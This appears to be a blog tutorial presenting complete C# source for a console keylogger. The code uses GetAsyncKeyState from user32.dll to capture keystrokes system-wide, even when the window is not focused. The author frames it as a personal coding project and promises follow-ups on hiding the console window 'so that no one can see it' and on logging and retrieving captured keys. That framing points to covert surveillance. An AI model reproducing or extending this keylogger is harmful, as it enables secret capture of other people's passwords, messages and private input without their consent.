Create a Console key logger using C#

Hi last few days I was trying to capture key strokes using C#, but could not find any way to capture keystrokes while the Console application was not focused. Apparently I found some C++ approach here . Oh that was so creepy to me since I’m more familiar with C#. I begin code myself to implement a key logger using C#. So here it is.

Start with adding new console project to your solution (I used Framework version 3.0). To make this easy I added reference to System.Windows.Froms where Keys enum resides.

And also need to add a DllImport to User32.dll which will help to know the current state of a particular key. So here is the Code segment.

using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
 
namespace KeyLogger
{
    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {
            StartLogging();
        }
 
        static void StartLogging()
        {
            while (true)
            {
                //sleeping for while, this will reduce load on cpu
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        break;
                    }
                }
            }
        }
    }
}

Testing with notepad

That’s it for now J I’ll post how to add few another enhancements like hiding console window so that no one can see it and how to log/retrieve key strokes without affecting much performance of the computer.